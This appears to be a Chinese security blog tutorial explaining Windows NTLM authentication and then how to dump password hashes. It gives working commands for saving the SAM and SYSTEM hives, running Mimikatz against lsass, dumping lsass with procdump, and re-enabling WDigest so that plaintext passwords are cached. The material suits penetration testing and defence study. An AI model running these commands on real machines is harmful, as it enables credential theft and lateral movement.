zoukankan      html  css  js  c++  java
  • windows认证与密码抓取

    Windows中的NTLM Hash认证分为两种,一种是本地认证,一种是网络认证。本地认证的话是通过用户输入的账号密码然后与WIndows中的SAM数据库里的值进行比对。网络认证则是基于挑战/响应的认证方式。

    SAM数据库虽然存储在计算机本地,但是用户也不能直接查看明文密码,里面存储的都是NTLM Hash值。操作系统启动之后,SAM 文件将被锁定。这意味着操作系统运行之时,用户无法打开或复制 SAM 文件。除了锁定,整个 SAM 文件加密,且不可见。

    %SystemRoot%\system32\config\sam

    域内用户的密码 Hash 是存在于域控的 NTDS.DIT 文件里。

    NTLM Hash的生成

    ​ 用户注销、登录、重启之后需要输入账号密码,操作系统会让winlogon显示登录页面,用户输入账号密码之后,winlogon.exe将密码交给lsass进程处理,lsass.exe会保存一份明文密码,将明文密码加密成NTLM Hash值,然后与SAM数据库中的对比。

    ​ 注:winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出。LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。

    本地认证的流程

    image-20211206101130260

    网络认证的流程

    在工作组中,都需要一可以信任的机构,对双方进行认证,这样就有一个可信的第三方来证实双方的可信任性。

    NTLM协议

    NTLM是一种网络认账协议,基于挑战/响应认证机制,这个协议只支持Windows,

    NTLM协议的认证共需要三个消息完成:协商 ---> 挑战 ---> 认证。

    1、用户向服务器发起请求
    2、服务端生成16位随机数作为Challenge,并使用客户端使用的用户名的NTLM Hash生成Challenge-1,将Challenge发送给客户端
    3、客户端收到Challenge之后,客户端使用登录名的NTLM Hash加密Challenge生成Response,然后将Response发送给服务器端。若对比通过,则登录成功
    

    注:1、经过NTLM Hash加密的结果在网络中称为 Net NTLM Hash。

    NTLM v1和v2的区别

    v1和v2最显著的区别就是Challenge和加密算法不同,相同点加密原料都是NTLM Hash。v1用的Challenge是8位,v2用的Challenge是16位的。v1用的加密算法是DES,v2用的加密算法是HMAC-MD5。

    注册表导出SAM+Mimikatz读取hash

    shell reg save hklm\sam sam.hive
    shell reg save hklm\system system.hive
    shell reg save hklm\security security.hive
    

    image-20211206143325611

    lsadump::sam /system:system.hive /sam:sam.hive
    

    image-20211206143900338

    mimikatz在线读取sam

    privilege::debug
    token::elevate
    lsadump::sam
    shell mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
    

    image-20211206144541340

    除了从sam文件中读,我们也可以从lsass进程中提取相关信息,mimikatz提供了sekurlsa模块,此模块可以去进程中提取密码、票据等。示例:

    privilege::debug
    log sekurlsa.log
    sekurlsa::logonpasswords
    shell mimikatz.exe "privilege::debug" "log sekurlsa.log" "sekurlsa::logonpasswords" "exit"
    

    image-20211206144854866

    Mimikatz+Procdump导出lsass.dmp

    shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    

    image-20211206150257144

     sekurlsa::minidump lsass.dmp
     sekurlsa::logonPasswords full
    

    image-20211206150649752

    密码抓取防范

    ​ 如果密码足够复杂,那么hash是不容易破解的。在windows server2012以上版本默认关闭了wdigest(windows下的一个安全协议),关闭后是不能从lsass中获取明文密码的,这时的lsass是不会缓存明文密码的。而2012以下的版本如果打了KB2871997,则lsass也不会存明文密码。通过上面的一些mimikatz结果可以看到wdigest下的password为null。所以防范时一个保证密码复杂度,另一个就是确保wdigest的关闭。

    ​ 我们可以通过修改注册表来绕过这个,需要用户重新登录后才能成功抓取。修改注册表的命令,1为打开0为关闭,打开后当前账号需要注销或者从新登录,这时lsass才会去存明文密码,

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
    

    或者用powershell

    powershell -c "set-itemproperty -path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1"
    
    powershell -c "set-itemproperty -path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0"
    
  • 相关阅读:
    不在models.py中的models
    Python多进程编程
    Python多线程编程
    Linux系统的数据写入机制--延迟写入
    Python读写文件你真的了解吗?
    面试 Linux 运维工作至少需要知道哪些知识?
    查找占用资源高的JAVA代码
    CPU的load和使用率傻傻分不清
    Python编写守护进程程序
    由Nginx的DNS缓存导致的访问404
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/15748375.html
Copyright © 2011-2022 走看看